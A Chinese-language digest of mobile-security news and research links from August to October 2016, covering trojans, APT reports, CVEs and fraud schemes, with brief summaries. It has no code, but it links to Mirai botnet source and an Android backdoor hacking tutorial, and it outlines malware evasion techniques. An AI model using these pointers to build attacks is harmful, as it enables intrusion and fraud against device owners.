- 8.2 [安卓8月安全补丁风险评估](http://m.bobao.360.cn/learning/detail/2933.html)
对比分析7、8月份Android漏洞分布情况;详细分析Aosp高风险安全漏洞、kernel高风险安全漏洞、高通和MTK的驱动漏洞及受影响进程列表
- 8.3 [New Gozi Trojan Version Can Bypass Some Behavioral Biometrics Defenses](http://news.softpedia.com/news/new-gozi-trojan-version-can-bypass-some-behavioral-biometrics-defenses-506935.shtml)
新版本的Gozi银行木马目前活跃在日本,西班牙,波兰等国家,主要针对金融机构,如PayPal,花旗银行,法国兴业银行,法国巴黎银行,东京银行等。新版本的Gozi使用Web injection attacks,支持人工操作,增加了绕过基本行为特征的防御支持
- 8.4 [深度揭秘微信地下产业链的形成](http://www.ijiandao.com/safe/28306.html)
微信的地下产业概述,素材很多。
- 8.4 [伪基站检测将在全国公安系统全面落地 附《反电信网络诈骗大数据季度报告》全文](http://www.aqniu.com/industry/18279.html)
“麒麟”基于腾讯手机管家的黑产数据库,通过腾讯“安全云库”的风险网址、骚扰诈骗电话、欺诈短信、木马文件、APK、黑银行卡等内容,进行机器学习和模型识别,找出恶意的网址和欺诈电话,并结合LBS定位信息,对发布欺诈信息的伪基站实现50米内的实时精准定位;同时,通过与警方的联动,跟进恶意网站和APK制作者,从而对电信网络诈骗的源头进行打击。
- 8.4 [360追日团队APT报告:摩诃草组织(APT-C-09)](http://bobao.360.cn/learning/detail/2935.html)
摩诃草组织(APT-C-09),又称HangOver、VICEROY TIGER、The Dropping Elephant、Patchwork,是一个来自于南亚地区的境外APT组织,该组织已持续活跃了7年。主要针对中国、巴基斯坦等亚洲地区国家进行网络间谍活动,其中以窃取敏感信息为主。相关攻击活动最早可以追溯到2009年11月,至今还非常活跃。在针对中国地区的攻击中,该组织主要针对政府机构、科研教育领域进行攻击,其中以科研教育领域为主。
- 8.6 [三星支付曝安全隐患,可被远程盗刷](http://www.d1net.com/security/vendor/426286.html)
三星移动支付功能Samsung Pay是基于磁性的非接触支付系统,可以把信用卡数据转换为标记,黑客可以盗用Samsung Pay产生的标记,
然后用它在其它设备中不受限制的进行欺诈交易。所有银行的信用卡、借记卡和预付卡都将会受到此类攻击的影响
- 8.8 [针对中国和南亚国家的 '季风' APT 攻击行动](https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf)
MONSOON is the name given to the Forcepoint Security Labs™ investigation into an ongoing espionage campaign that the Special Investigations team have been tracking and analysing since May 2016. The overarching campaign appears to target both Chinese nationals within different industries and government agencies in Southern Asia. It appears to have started in December 2015 and is still ongoing as of July 2016.
- 8.8 [高通曝Quadrooter高危漏洞, 影响全球9亿安卓用户](http://blog.checkpoint.com/2016/08/07/quadrooter)
checkpoint发现了高通的漏洞,危及全线安卓产品。[PDF](https://www.checkpoint.com/downloads/resources/quadRooter-vulnerability-research-report.pdf)
该漏洞是[高通 MSM GPU 驱动的一个 UAF 漏洞(CVE-2016-3842)](http://retme.net/index.php/2016/08/11/cve-2016-3842.html)
数字的播报文章,名为Quadrooter的漏洞由四个漏洞组成:CVE-2016-2503 (发现于高通GPU驱动程序,分析见谷歌的2016年8月Android安全公告);CVE-2016-2504 (高通GPU驱动程序中,分析见谷歌的2016年7月Android安全公告);CVE-2016-2059 (高通内核模块中,4月修复,补丁状态未知)以及CVE-2016-5340 (高通GPU驱动程序中,已修复,补丁状态未知)。[翻译版](http://blog.csdn.net/sakaison/article/details/52218517)
- 8.9 [顶级网络间谍平台ProjectSauron正在悄悄地窃取政府的加密通信数据](http://bobao.360.cn/news/detail/3428.html)
ProjectSauron包括一个十分复杂的模块化网络间谍平台,该平台采用了隐蔽性非常强的隐藏生存机制,并能够对目标进行长期的网络间谍活动。在对该平台进行了深入分析之后,我们发现攻击者可以利用该平台学习其他攻击者的先进技术,并避免重复他们此前所犯的错误。
真正的高级APT组织和普通的黑客组织之间有什么区别呢?我们在下方列出了顶级网络间谍组织所特有的一些表征:
- 利用0 day漏洞进行攻击;
- 未知的、无法检测的初始感染载体;
- 已经成功入侵过多个国家的政府机构;
- 在被发现之前,已经成功进行了多年的信息窃取活动;
- 能够从空气间隙网络系统中窃取数据;
- 恶意软件模块能够驻留在内存中,而无需触及硬盘;
- 拥有罕见的持久化技术,能够使用未经记载的操作系统功能;
“ProjectSauron”基本符合上述的特性。
- 8.9 [大数据50米内可精确定位“伪基站”](http://www.tuicool.com/articles/7bqu2aF)
公安部刑侦局与蚂蚁金服合作开发的“伪基站实时监控平台”已在全国各地公安机关投入使用。公安部刑侦局与蚂蚁金服于今年3月合作开发了“伪基站实时监控平台”,实现了对伪基站的实时监控。据蚂蚁金服安全部相关负责人介绍,基于蚂蚁金服及 阿里巴巴 的大数据模型推出的伪基站实时监控平台,能做到伪基站50米内精准定位。
- 8.9 [索伦之眼(Eye of Sauron)顶级 APT 攻击 - 卡巴斯基的分析](https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf)
索伦之眼(Eye of Sauron)顶级 APT 攻击,由 Strider 间谍组织发起,目标为多个国家政府部门和关键行业组织:
- Government
- Scientific research centers
- Military
- Telecommunication providers
- Finance
- 8.9 [关于近期曝光的针对银行SWIFT系统攻击事件综合分析](http://bobao.360.cn/learning/detail/2944.html)
SWIFT系统安全问题:从2015年1月的厄瓜多尔银行损失1200万美元,10月的菲律宾银行,到今年2月孟加拉国央行曝出被盗窃8100万美元,随后第二家及第三家银行(也是最初受害者)被黑的消息被公开。5月菲律宾一家银行又被盗,这次他们又造成乌克兰银行上千万美元的损失。
- 8.9 [360安全报告:巴西网络生活与安全研究](http://bobao.360.cn/learning/detail/2945.html)
巴西最为流行的邮件诈骗主要有两种形式:一类是冒充富人的求帮助诈骗:骗子冒充外国有钱人,请求受害者协助其完成跨国捐献,或向境外转移现金和资产;另一类,是冒充穷人的扮可怜诈骗:骗子伪装成女性或未成年人,以家中贫困,无钱治病或无钱读书为由,祈求受害者为其捐款。
- 8.9 [Android Binder 通用 ASLR 泄漏漏洞(CVE-2016-6689)](https://bugs.chromium.org/p/project-zero/issues/detail?id=889)
- 8.11 [2016年中回顾:网络安全威胁TOP6分析报告](http://www.freebuf.com/articles/database/111351.html)
分析勒索软件发展趋势、大型数据泄露事件、身份认证盗窃、移动安全、物联网、增强现实游戏等
- 8.15 [SecurityScorecard发布2016年上半年美国金融行业网络安全情况报告](http://www.hi-ourlife.com/index.php/post/239.html)
可作为统计数据来源
- 8.19 [一款新的 Mac OS X 恶意软件出现 - OSX.FakeFileOpener](https://blog.malwarebytes.com/threat-analysis/2016/08/pcvark-plays-dirty/?utm_source=twitter&utm_medium=social)
MacOS下的病毒还是比较稀少的。
- 8.22 [东巽科技2046Lab团队APT报告:“丰收行动”(DX-APT1)](http://www.freebuf.com/articles/paper/111557.html)
2016年7月,东巽科技2046Lab捕获到一例疑似木马的样本,该木马样本伪装成Word文档,实为包含CVE-2015-1641(Word类型混淆漏洞)漏洞利用的RTF格式文档,以邮件附件的形式发给攻击目标,发动鱼叉式攻击。从溯源和关联分析来看,种种迹象表明,该样本源于南亚某国隐匿组织的APT攻击,目标以巴基斯坦、中国等国家的科研院所、军事院校和外交官员为主,通过窃取文件的方式获取与军事相关情报。由于样本的通信密码含有“January14”关键词,这一天正好是南亚某国盛行的“丰收节”,故把该APT事件命名为“丰收行动”。
- 8.22 [微信惊现任意代码执行漏洞 360手机卫士提供自检方案](http://bobao.360.cn/news/detail/3480.html)
360的Alpha Team发现了一个微信的远程任意代码执行漏洞 [badkernel](http://www.freebuf.com/vuls/112634.html)。该漏洞是Chrome V8引擎3.20至4.2版本中存在远程代码执行漏洞(漏洞编号:[CNNVD-201608-414](http://www.cnnvd.org.cn/vulnerability/show/cv_id/2016080414)),由于源代码中“observe_accept_invalid”异常类型被误写为“observe_invalid_accept”, 造成kMessages关键对象信息泄露,从而可利用该漏洞执行任意代码。
- 8.22 [小米短信同步让父母银行卡被盗10万?扒一扒事情的来龙去脉](http://www.leiphone.com/news/201608/WbW5l1QRygQI4s0K.html)
利用小米账号云同步短信,窃取支付验证码,然后删除手机内的验证码短信。
- 8.22 [解析恶意网站:钓鱼、木马病毒、黑客入侵 | 深度](http://www.leiphone.com/news/201607/gy1jfGWtYG1E9cHT.html)
对恶意网站分类做了简单介绍说明。对钓鱼网站做了一些代码分析,可读性不错。
- 8.24 [针对记者的android恶意软件有所增加](https://iranthreats.github.io/resources/android-malware/)
如何针对记者的我没看明白。
- 8.25 [只截一张图,截走银行卡几千元](https://www.anquan.org/news/2251)
利用用户对付款码和收款码的区分不明,骗用户截图付款码进行骗钱操作。
- 8.29 [爆料全球首个基于Twitter的Android僵尸网络](http://www.freebuf.com/news/112960.html)
Twitoor可以使用Twitter社交网络来控制目标用户的安卓智能手机。这款恶意软件会定时对指定的Twitter账号进行检查,然后从该Twitter账号所发布的加密推文中读取出控制命令。(**早前国内出现过的利用blog进行远控原理一样,玩剩下的了。**)
- 8.31 [木马如何欺骗GooglePlay](https://securelist.com/blog/research/75894/how-trojans-manipulate-google-play)
提到了木马所使用的两种欺骗gp安全审查机制的方法,用以绕过安全审查,后台推送应用赚钱。
- 自点击购买或者允许下载按钮( Accessibility services 、 模拟点击 、 进程注入)
- 自构造网络针对gp的网络请求进行下载。(__还能评论__)
- 8.31 [Dr.web:2016年8月病毒活动分析](http://news.drweb.ru/show/review/?lng=ru&i=10184)
可作为统计数据的来源
- 8.31 [DressCode Android Malware Discovered on Google Play](http://blog.checkpoint.com/2016/08/31/dresscode-android-malware-discovered-on-google-play/)
一个名叫DressCode的新Android恶意软件家族,能够利用代理攻击企业内部网络、并窃取此前曾被认为是安全的服务器信息。该恶意软件取名自数不清的装扮类游戏。从技术层面上分析,DressCode恶意软件所包含的恶意代码,会劫持被感染的设备并连接至一个僵尸网络。该恶意软件会扮演成一个信标,然后持续地与僵尸网络的命令控制(C&C)服务器通讯。在需要下达指令的时候,服务器端只要ping一下肉鸡设备就可以执行了。值得一提的是,该恶意软件还利用了SOCKS代理来掩藏与C&C服务器之间的通信,甚至允许僵尸网络操控者突破防火墙访问企业内部的深层网络,窃取信息或提升自己的访问权限。
- 0x08
- 9.2 ~ 9.7 关于PEGASUS iOS内核漏洞
- 9.2 [PEGASUS iOS内核漏洞的分析(CVE-2016-4656,附PoC)](http://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html)
- 9.5 [PEGASUS iOS 内核漏洞分析(Part 2)](http://sektioneins.de/en/blog/16-09-05-pegasus-ios-kernel-vulnerability-explained-part-2.html)
- 9.7 [Pegasus 监控软件所用的 X.509 根 CA 证书的细节](https://github.com/CuanticoSec/CuanticoSec.github.io/blob/master/posts/Pegasus_cert_research.md)
针对CVE-2016-4656报告中的内核漏洞进行了详细分析。PEGASUS监控工具所使用的三个内核漏洞详情苹果并未公开。[国内翻译版](http://bobao.360.cn/learning/detail/2996.html)
- 9.4 [隐藏Android系统Root状态?这个APP可以帮你做到](http://www.freebuf.com/news/113493.html)
谷歌使用了一个名为“[SafetyNet](https://developer.android.com/training/safetynet/index.html)”的API来检测用户的Android设备是否root过,如果设备已经root过了,那么它就要限制设备访问上述的那些功能。
名为“Suhide”的APP,允许用户针对特定的应用程序来隐藏Android设备的Root状态。例如可让root过的Android设备使用AndroidPay功能,同样可以使用其他的一些需要检测设备root状态的应用程序
- 9.7 [木马System Monitor:来自Android Accessibility安全性研究报告](http://blogs.360.cn/360mobile/2016/09/07/research_of_accessibility)
木马“System Monitor”可以隐藏图标、自我保护、劫持搜索,有以下这些行为:
- 该木马表面伪装成手机安全软件,启动后以安全软件的界面诱导用户启动辅助功能(Android Accessibility)以“完成安装”,此处的页面描述“Malware Protection”字样由木马设定,意在进一步诱导用户相信其为一款安全软件。
- 防止被卸载
- 安装该恶意软件后打开浏览器的页面,会打开特定的网址,点击浏览器中的可点击视图,则一有定几率触发打开一个新的网址。
- 9.7 [一张图片能导致数百万Android手机被黑?](http://www.freebuf.com/news/113965.html)
漏洞编号为CVE-2016-3862,只要有人给你发一张照片,用户甚至不需要点击这张照片,手机自动对照片进行解析时,黑客就能远程控制Android设备,或者令设备变砖
- 9.7 [Android ELF 病毒调查报告](http://www.cmcm.com/blog/en/security/2016-09-07/1027.html)
可作为统计数据的来源
- 9.7 [知乎出现串号漏洞,大量用户隐私疑遭泄露](http://www.ijiandao.com/news/hot/30662.html)
- 从事故表现来看,此次事故出现的问题是账号串号和数据库的问题。其中,串号问题严重泄露了用户隐私,如果在接下来两天中有匿名回答和私信被公开,似乎知乎难辞其咎。
- 事故发生后知乎直接切断了服务器,看起来,似乎是数据库没有备份?如果有备份,则可以直接切换到备份服务器,而不至于粗暴切断影响普通用户的正常使用。
- 出现此类问题,要么是内部误操作,要么是外部攻击。看起来前者的可能性更大,假如是真,背后可能影射出的是知乎内部的管理和操作流程方面的问题,也可能会导致内部相关工作人员受到较严厉的处罚。
- 9.9 [Android热修复技术选型——三大流派解析](http://weibo.com/ttarticle/p/show?id=2309404017932874165265)
QQ空间超级补丁技术、微信Tinker、阿里百川HotFix
- 9.10 [有漏洞:20 万部僵尸手机就能攻陷美国 911 报警系统](http://www.cnbeta.com/articles/537975.htm)
利用远控手机对报警系统进行电话ddos而已。
- 9.12 [曝魅族Flyme大漏洞!黑客锁机勒索用户](http://digi.it.sohu.com/20160912/n468222524.shtml?qq-pf-to=pcqq.group)
根据[官方解释](http://bbs.flyme.cn/thread-1194658-1-1.html),是遭到了撞库攻击,导致黑客利用Flyme的远程锁机功能锁定了用户的手机。
- 9.13 [DualToy 通过 USB 连接向 Android/iOS 推送高风险 APP 的木马](http://news.softpedia.com/news/dualtoy-windows-trojan-secretly-sideloads-apps-on-your-android-and-ios-devices-508254.shtml)
The trojan, named DualToy, has been active since January 2015, but in its original form, it was only capable of infecting Android devices.DualToy received support for infecting iOS devices six months later, but the number of real-world infections only recently spiked, according to a Palo Alto Networks report, reaching 8,000 different samples detected in the wild.
- 9.13 [逆向工程小米Analystics应用:小米能安静的安装任意包](https://www.thijsbroenink.com/2016/09/xiaomis-analytics-app-reverse-engineered)
小米的数据分析或异常分析核心程序存在后门漏洞,可被用于安装任意app。
- 9.14 [BadURLScheme in iOS](http://paper.seebug.org/42/)
这个漏洞主要是在iOS对于URL Scheme及其在UIWebView等控件的自动诊断识别等处理机制下导致跨应用XSS漏洞。
- 9.14 [内核信息泄露的漏洞(CVE-2016-4655)](http://blog.pangu.io/cve-2016-4655/)
我们并非通过bindiff等复杂手段定位该漏洞,所以。。。这是一个悲伤的。。。撞洞的故事。。。
实际情况是当苹果发布9.3.5版本后,我们测试了手中的漏洞,结果发现这枚未满周岁的信息泄露漏洞不幸阵亡 TT
- 9.14 [Rooting Pokémons in Google Play Store](https://securelist.com/blog/mobile/76081/rooting-pokemons-in-google-play-store)
针对Pokémon Go的木马在Google Play上被发现,程序名字为Guide for Pokémon Go;它能隐藏自己,并推送大量广告,可以root设备并安装大量的恶意文件夹和不需要的APP。木马会给远程控制服务器发送信息,包括感染设备的型号,系统版本,国家,语言等等。
- 9.15 [通过镜像 iOS NAND 内存破解锁屏密码](https://www.onthewire.io/researcher-bypasses-ios-passcode-limit-with-nand-mirroring)
The researcher’s technique involved several steps and quite a bit of patience and work, but eventually Sergei Skorobogatov of the University of Cambridge in the UK was able to remove the NAND Flash memory chip, backup the data on it, reinstall the chip and continue trying passcode. Skorobogatov estimates that using this technique, an attacker could brute-force a four-digit passcode on an iPhone 5C in less than 24 hours.
- 9.18 [都是权限惹的祸:安卓恶意APP如何将其他APP中的私有数据搞到手](http://www.freebuf.com/articles/terminal/114330.html)
可以读取Android手机中其他app的文件元数据,例如文件的名称、大小、以及最后修改日期等等。如果文件名中含有敏感信息的标识,那么这款恶意app会将这份文件识别为敏感文件,并且还可以对其进行暴力破解攻击。
- 9.18 [Android安全新特性?细数Android7. Nougat的几大安全增强功能](https://jaq.alibaba.com/community/art/show?spm=a313e.7916646.24000001.2.K16uhk&articleid=515)
直接启动模式;
全新加密机制;
重新设计了mediaserver的整体架构;
应用安全性提升——数据共享权限限制、网络通信数据访问权限、网络安全策略;
移除了某些可以持久访问目标设备的标识,例如设备的MAC地址;
用户接口层将无法显示在权限对话框之上;
禁用了onDisableRequested();(设备管理器可取消)
- 9.19 [国内首个网络安全行业全景图重磅推出](http://www.aqniu.com/industry/19642.html)
安全牛以自身在安全行业的认识和积累,结合多种行业资源,在《中国网络安全企业50强》调查工作的基础上,推出国内首个网络安全行业全景图
- 9.19 [腾讯科恩实验室最新研究成果:对特斯拉的无物理接触远程攻击](http://keenlab.tencent.com/zh/2016/09/19/Keen-Security-Lab-of-Tencent-Car-Hacking-Research-Remote-Attack-to-Tesla-Cars)
利用安全漏洞对特斯拉进行无物理接触远程攻击,实现对特斯拉驻车状态和行驶状态下的远程控制
- 9.19 [国内首个网络安全行业全景图重磅推出](http://www.aqniu.com/industry/19642.html)
在《中国网络安全企业50强》调查工作的基础上,推出国内首个网络安全行业全景图
- 9.20 [利用 Exploit 获取 Root 权限的 Android 银行木马](https://securelist.com/blog/mobile/76101/the-banker-that-can-steal-anything)
in early February 2016, Kaspersky Lab discovered Trojan-Banker.AndroidOS.Tordow.a, whose creators decided that root privileges would come in handy. We had been watching the development of this malicious program closely and found that Tordow’s capabilities had significantly exceeded the functionality of most other banking malware, and this allowed cybercriminals to carry out new types of attacks.
- 9.20 [Blender: Self-randomizing Address Space Layout for Android Apps](https://loccs.sjtu.edu.cn//gossip/blog/2016/09/20/2016-09-20)
针对Android 5.x 版本ASLR机制的安全性,本文介绍了一种新的攻击方式:return-to-art (ret2art),并且针对这种方式提出了相应的解决方案
- 9.22 [2016 中国互联网仿冒态势分析报告](https://jaq.alibaba.com/community/art/show?spm=a313e.7916646.24000001.1.Hm50aT&articleid=525)
仿冒应用的统计数据
- 9.22 [捍卫互联网安全,国内各大SRC集锦](http://bobao.360.cn/news/detail/3575.html)
集中记录了各大厂商的SRC。
- 9.22 [方程式再曝0day漏洞:超84万思科设备受影响](http://www.freebuf.com/news/115118.html)
CVE-2016-6415漏洞影响到IOS、IOS XE和IOS XR软件:具体影响到IOS XR版本4.3.x、5..x、5.1.x和5.2.x(5.3.及更新版本不受影响),所有IOS XE,以及数个IOS版本,详情可见思科的[安全公告](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160916-ikev1).CVE-2016-6415漏洞存在于IKEv1包处理代码中,利用该漏洞可致远程、未认证的攻击者获取存储内容(memory contents)。
- 9.26 [Gemalto:2016上半年泄露级别指数调查报告](http://www.freebuf.com/articles/database/115028.html)
泄露级别指数解读,包括数据泄露类型、来源分布;数据泄露行业和地理区域分布;不同国家和行业数据泄露成本的分析
- 9.27 [QQ 浏览器(Wormable Browser) 漏洞报告](http://blog.pangu.io/wormable-browser)
安卓版QQ浏览器,QQ热点等应用程序在本地wifi开始时,会监听本地8786端口,且监听本地所有ip地址。当攻击方和被攻击方处于同一局域网环境时,通过该接口,可在局域网内运行QQ浏览器,QQ热点的设备中上传数据、启动应用安装等。当这些应用拥有root权限时,可静默安装移动应用。攻击方和被攻击方处于不同局域网环境时,可通过恶意链接,远程植入,感染与被攻击方所在局域网内所有运行安卓版QQ浏览器,QQ热点等应用的主机。
- 9.27 [猎捕利比亚的蝎子 - 针对利比亚高级间谍攻击行动的调查报告](https://cyberkov.com/hunting-libyan-scorpions/)
8月初,Cyberkov接收到了一类大量感染利比亚国内安卓手机用户的恶意软件样本,这些样本尤其在黎波里和班加西比较活跃,它们通过手机Telegram程序广泛传播,主要针对有影响力的社会名流和政治人士。该类恶意软件感染手机之后,会继续向通讯录人员散播恶意程序Voice Massege.apk,形成更大的受害者网络。经调查分析,确信这是由某政党发起,并以情报收集和秘密监视为目的恶意软件攻击活动。在调查中,Cyberkov还发现了多例感染电脑和智能手机的相关恶意软件。Cyberkov把该攻击活动命名为“利比亚天蝎”。[译文](http://www.freebuf.com/articles/network/115280.html)
- 9.27 [一款针对韩国用户的手机银行木马](https://www.zscaler.com/blogs/research/android-malware-targeting-south-korean-mobile-users)
恶意程序伪装成合法应用程序V3 Mobile Plus,一旦受害者安装,该应用要求管理员权限,进而隐藏图标,迷惑受害人认为该程序已被删除。
主要目的是窃取受害者的短信和在国家PKI方案中使用认证证书,并发送给其C&C服务器
- 9.29 [世界一流的威胁情报技术论坛讲点啥?(附PPT)](http://www.aqniu.com/tools-tech/19940.html)
议题内容涵盖漏洞利用工具包分析、动态DNS、PDNS、被动威胁感知和APT真实案例五个方面。
- 9.28 [赛门铁克发现中国Android 勒索软件正在使用伪随机密码和双锁屏攻击](http://www.aqniu.com/threat-alert/19902.html)
赛门铁克安全团队最近发现,Android.Lockscreen(锁屏恶意软件)的新变种正在通过伪随机密码,阻止受害者在不支付赎金的情况下解锁设备。此前,这类勒索软件的早期版本使用硬编码密码锁定屏幕。然而,安全专业人士能够对代码进行反向工程,为受害者提供密码解锁设备。此外,攻击者通过结合自定义锁屏和设备锁屏来增加解锁难度。
- 9.29 [解包分析攻击越南机场和其它组织机构的间谍程序](http://www.freebuf.com/articles/system/113570.html)
根据MalwareBytes接触到了前期入侵越南组织机构的间谍程序捕获样本,入侵活动涉及7月底对越南两大机场的攻击事件,攻击中使用的恶意软件用于窃取越南航空公司40万会员信息。这些入侵活动中使用的攻击载荷是伪装成杀毒软件McAfee的Korplug RAT变种
- 9.29 [150 万摄像头是如何被劫持形成僵尸网络的](http://motherboard.vice.com/read/15-million-connected-cameras-ddos-botnet-brian-krebs)
可以联系到[Smile! You’re on Candid APT](https://community.rapid7.com/community/services/blog/2016/02/18/smile-you-re-on-candid-apt)
- 9.30 [大数据告诉你:移动、联通、电信的安全指数](http://mp.weixin.qq.com/s?__biz=MzI3MTA2MTk4NQ==&mid=2650578407&idx=1&sn=0edc5d6fd6b29c120c1cdd77d409f8df&chksm=f2cfbb69c5b8327f3445798c36fcfcbac3aa618240ec304367874f4a8d840a20bbbc98fadbe6&mpshare=1&scene=1&srcid=1010qB5jtf43eatpWij8zGZx#wechat_redirect)
- 9.30 [IOS上的海马App Store更多的恶意可疑行为](http://blog.trendmicro.com/trendlabs-security-intelligence/helper-haima-malicious-behavior)
- 9.30 [雅虎邮箱 iOS 应用漏洞:修改密码未撤销原登陆证书致账户被窃](http://news.softpedia.com/news/some-yahoo-users-exposed-to-hacking-due-to-bug-in-yahoo-mail-ios-app-508835.shtml)
- 0x09
- 10.3 [三星Knox漏洞导致黑客可以完全控制你的手机](http://www.wired.co.uk/article/samsung-knox-security-vulnerabilities)
- 10.3 [Google Play400款应用藏恶意代码:手机变监听站](http://sec.chinabyte.com/337/13914337.shtml)
- 10.3 [在IOS和android设备上查看wifi连接密码的工具](https://www.digitalmunition.me/2016/10/heres-can-view-wi-fi-password-connect-network-android-ios-device)
- 10.4 [CVE-2016-5348:通过大的Assisted-GPS数据文件崩溃Android设备](https://wwws.nightwatchcybersecurity.com/2016/10/04/advisory-cve-2016-5348-2)
- 10.4 [苹果iMessage链接预览功能可被黑客利用,获取接收方IP及设备信息](http://news.softpedia.com/news/apple-s-imessage-exposes-user-ip-address-and-device-details-to-spammers-508948.shtml)
- 10.5 [BadKernel漏洞影响16种andorid智能电话](http://news.softpedia.com/news/badkernel-vulnerability-affects-one-in-16-android-smartphones-508963.shtml)
- 10.6 [Malware “Eko” affecting French Facebook users ](https://blog.malwarebytes.com/cybercrime/2016/10/malware-eko-affecting-french-facebook-users)
- 10.8 [OilRig campaign, Iran-Linked Hackers Target US Government & Energy Grid](http://securityaffairs.co/wordpress/52027/hacking/oilrig-campaign-iran-hackers.html)
OilRig活动,伊朗挂钩黑客的目标,美国政府和能源电网
- 10.8 [150万网络摄像头被僵尸网络控制,附相关源码](http://bobao.360.cn/news/detail/3620.html)
[Mirai是利用IOT设备进行DDOS攻击的僵尸网络](https://github.com/jgamblin/Mirai-Source-Code)
- 10.9 [Spotify的免费用户受到恶意广告活动](http://news.softpedia.com/news/spotify-free-users-affected-by-malvertising-campaign-509105.shtml)
- 10.9 [2016年9月钓鱼网站报告:414家银行网站遭仿冒](http://mp.weixin.qq.com/s?__biz=MjM5Njc3NjM4MA==&mid=2651068903&idx=1&sn=ad984f5182581d4e55e287740dab9f2f&chksm=bd14a9348a6320228e3b23daf07440587b441434861f48f261cbbd68293aa6e34ad52ee04982&scene=0#wechat_redirect)
- 10.9 [CVE-2016-1707 :IOS上的Chrome地址栏URL欺骗](http://xlab.tencent.com/en/2016/10/09/CVE-2016-1707-Chrome-Address-Bar-URL-Spoofing-on-IOS)
- 10.9 [黑科技:把第三方 iOS 应用转成动态库](http://mp.weixin.qq.com/s?__biz=MjM5NTIyNTUyMQ%3D%3D&mid=2709545228&idx=1&sn=7a47a0de32e06f9c465319e8db8ca13f&chksm=828f0bd2b5f882c46416ab20cd9ea482b3c57b202d876b75d5625a1bb036d40fe01d31c2679a&mpshare=1&scene=1&srcid=1009N6R6XQyc1MDWhh0MfG7h#rd)
本文会介绍一个作者写的工具,能够把第三方 iOS 应用转成动态库,并加载到自己的 App 中,文章最后会以支付宝为例,展示如何调用其中的 C 函数和 OC 方法。[工具开源地址](https://github.com/tobefuturer/app2dylib)
- 10.9 [针对某APP的漏洞挖掘(抓包+逆向=挖到大漏洞) ](http://bobao.360.cn/learning/detail/3083.html)
一个挖掘app网络交互漏洞的过程分享。
- 10.10 [Broadcom Wi-Fi 驱动提权漏洞分析](http://mp.weixin.qq.com/s?__biz=MzAwNTI1NDI3MQ%3D%3D&mid=2649611864&idx=1&sn=c3ab4e1de4609de05b742c4ae1c42fa3&chksm=83060348b4718a5e819a7dd6e8f3f75202894feeaa4e967ecf4bc74378e7739adf2de7ddffb2&mpshare=1&scene=1&srcid=10105oQQBybtxmbCqrEnsS8Z#rd)
在Wi-Fi芯片的运行需要相应的驱动,这些驱动运行在Linux内核态,如果驱动出现漏洞,将导致代码以内核权限运行,从而造成提权的后果。Broadcom公司的Wi-Fi芯片被大量的Android手机使用,其漏洞的影响范围十分广泛。Broadcom Wi-Fi驱动的提权漏洞(CVE-2016-2493)。
- 10.11 [黑客讲述:我如何用技术手段逼小偷把iPhone还回来](http://netsecurity.51cto.com/art/201610/518559.htm#topx)
在钓鱼网站在输入密码以后,钓鱼网站让我输入密保信息,我在答案输入框中输入了 XSS 代码,然后就成功提交了。
- 10.11 [850多万就这样没了,这样的骗局能不能避免?](http://dy.163.com/wemedia/article/detail/C34MCPUS0514AGAC.html)
骗子从10月26日到11月23日这将近一个月的时间内,分5次让受害者将850多万元转到被骗子控制的这个账户上,再通过木马控制网银手段全部转出。金额之大,周期之长,实属罕见!真可谓缔造了诈骗界的一场神话!
- 10.11 [Android系统新权限模型剖析与预警](http://blogs.360.cn/360mobile/2016/10/11/android_new_permission_model)
仿冒KingRoot官方应用的恶意样本,图标与应用名称都与官方应用相同。
当恶意软件被授予短信组权限时,其利用已获取的短信组权限接收系统短信广播并拦截新接收到的短信,窃取短信内容,造成用户隐私泄露。
该恶意软件的其他恶意行为包括:诱导用户激活设备管理器、 隐藏图标、检测并获取Root权限、发送扣费短信、 窃取用户隐私信息
- 10.13 [Android Banking Trojan Asks for Selfie With Your ID](https://blogs.mcafee.com/mcafee-labs/android-banking-trojan-asks-for-selfie-with-your-id)
Android银行木马Acecard的新变种,又名Torec,其使用Tor与控制服务器通信,除了要求银行卡信息,双因素认证信息以外,该恶意应用还设法获取一些身份认证的私人信息。(这些信息可帮助罪犯确认受寒者身份,获取不仅仅是银行账号,更多者受害者社交网络相关的一些信息。)
伪装成一个成人播放器应用或者是看特定视频文件所需的插件,诱导用户下载安装。运行后,隐藏图标并设法获取设备管理权限,以使其难以被卸载。在后台运行以后,木马持续监控特定APP的开启操作,并将钓鱼页面覆盖其上,伪装成Google Play,要求银行卡号。一旦银行卡号经过确认,下一个钓鱼页面设法获取更多私人和银行卡信息,比如持卡人姓名,出生日期,电话号,信用卡截止日期和CCV,该木马也要求双因素认证的信息。
- 10.13 [12 年前的一个 SSH 老漏洞正在被黑客用于攻击大量 IoT 设备](https://threatpost.com/old-ssh-vulnerability-at-center-of-credential-stuffing-attacks/121266)
Researchers at Akamai this week exposed how attackers are using a 12-year-old SSH vulnerability in combination with weak or default credentials to compromise an array of IOT and home networking devices. Those connected things are then being used as proxies to test stolen credentials on third-party web-based applications.
- 10.14 [富士康生产的 Android 固件中遗留的工厂调试器被认为是后门](https://threatpost.com/leftover-factory-debugger-doubles-as-android-backdoor/121302)
- 10.14 [Analysis on the Sources of Mobile Trojans](http://www.cmcm.com/blog/en/security/2016-10-14/1031.html)
- 10.14 [Mobile banking Trojans, explained](https://blog.kaspersky.com/mobile-banking-trojans-faq/13243)
- 10.16 [Spade APK -- 可用于 hack 安卓手机](http://www.hackingarticles.in/hack-android-phone-using-spade-apk-backdoor)
[译文](http://www.mottoin.com/90613.html)
- 10.17 [赛门铁克:警惕利用Odinaff木马的高级金融攻击](http://sec.chinabyte.com/277/13928777.shtml)
- 10.17 [移动APP安全揭秘之第二期:授权登录的安全短板](http://www.freebuf.com/articles/terminal/116445.html)
- How to: Testing Android Application Security
5.23 [Part 1](https://blogs.mcafee.com/mcafee-labs/testing-android-application-security-part-1)
6.23 [Part 2](https://blogs.mcafee.com/mcafee-labs/testing-android-application-security-part-2)
9.8 [Part 3](https://blogs.mcafee.com/mcafee-labs/testing-android-application-security-part-3)
10.17 [Part 4](https://blogs.mcafee.com/mcafee-labs/patching-android-binary)
- 10.18 [子域名搜集思路与技巧梳理](http://www.freebuf.com/articles/web/117006.html)
- 10.18 [谁给了你第一个手机病毒?安卓手机病毒来源分析](http://www.freebuf.com/articles/terminal/116583.html)
- 10.18 [仿冒公检法手机诈骗简析](http://www.aqniu.com/industry/20325.html)
